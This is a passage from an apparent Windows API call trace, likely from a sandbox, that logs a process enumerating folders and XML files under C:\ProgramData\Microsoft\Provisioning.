lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.509] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.509] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.509] GetProcessHeap () returned 0xc10000 [0272.509] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.509] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0272.512] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 0 [0272.512] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0272.512] GetProcessHeap () returned 0xc10000 [0272.512] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.512] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.512] GetProcessHeap () returned 0xc10000 [0272.512] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.512] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.513] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.513] GetProcessHeap () returned 0xc10000 [0272.513] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.513] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7a30a9be-737f-47a1-a541-6e7b0761ed19}", cAlternateFileName="{7A30A~1")) returned 1 [0272.513] GetProcessHeap () returned 0xc10000 [0272.513] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.513] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.513] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fff1c4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fff1c4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fff1c4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.513] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8cab3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.514] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.514] GetProcessHeap () returned 0xc10000 [0272.514] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0272.515] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.515] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.515] GetProcessHeap () returned 0xc10000 [0272.515] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.516] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.516] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.516] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0272.516] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0272.516] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.516] GetProcessHeap () returned 0xc10000 [0272.516] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.516] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.516] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.517] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0272.517] GetProcessHeap () returned 0xc10000 [0272.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.517] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.517] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.517] GetProcessHeap () returned 0xc10000 [0272.517] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.517] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8d196d7f-3eef-48ad-8bea-be749f12d3ad}", cAlternateFileName="{8D196~1")) returned 1 [0272.517] GetProcessHeap () returned 0xc10000 [0272.517] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0272.518] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.518] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f19b66, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.518] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef390d, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.518] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.518] GetProcessHeap () returned 0xc10000 [0272.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.522] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.522] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.522] GetProcessHeap () returned 0xc10000 [0272.522] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.525] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.525] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.525] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ecd6b4, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.525] FindClose (in: hFindFile=0x33e4da8 | out: 